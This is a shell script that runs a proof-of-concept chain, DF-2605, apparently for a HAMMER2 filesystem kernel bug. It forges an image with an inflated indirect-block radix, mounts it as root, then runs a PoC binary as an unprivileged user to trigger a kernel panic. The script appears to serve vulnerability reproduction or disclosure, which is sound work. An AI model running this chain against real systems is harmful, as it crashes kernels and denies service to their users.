#!/bin/sh
# run.sh - Full DF-2605 reproduction chain.
#
# Must be run as root (mounts the forged image; vfs.usermount=0 is the
# realistic admin precondition -- an admin mounts a filesystem image and
# chowns it so an unprivileged user can read it).  The readdir PoC is
# invoked as the unprivileged user maxx after mount.  The forged image's
# INDIRECT bref has an oversized radix which triggers a kernel panic
# (KKASSERT in hammer2_io_alloc on default GENERIC) when the kernel
# derives chain->bytes = 1U<<radix in hammer2_chain_alloc and then drives
# the oversized I/O.
#
# Prerequisites: build.sh has been run; /root/h2.img exists (from setup_image.sh).
#
# Usage:  ./run.sh [radix]      (default radix=17)
set -e
cd "$(dirname "$0")"

POCUSER=maxx
IMG=/root/h2.img
MNT=/mnt/h2test
RADIX=${1:-17}

echo "=== Phase 1: Forge the image (inflated INDIRECT radix=$RADIX) ==="
./forge "$IMG" "$RADIX"

echo "=== Phase 2: Mount the forged image read-write ==="
vnconfig -c vn0 "$IMG" 2>/dev/null || true
mount_hammer2 /dev/vn0@DATA "$MNT" 2>&1 || echo "mount rc=$?"

echo "=== Phase 3: chmod the directory for unprivileged access ==="
chmod 755 "$MNT" "$MNT/testdir" 2>/dev/null || true

echo "=== Phase 4: Run PoC as unprivileged user $POCUSER (triggers INDIRECT load) ==="
su -m "$POCUSER" -c "/bin/sh -c 'cd $(dirname "$0") && ./poc $MNT/testdir'" || echo "PoC exited rc=$?"

echo "=== Phase 5: Cleanup (if we got here, no panic happened) ==="
umount "$MNT" 2>/dev/null || true
vnconfig -u vn0 2>/dev/null || true
echo "RUN_DONE"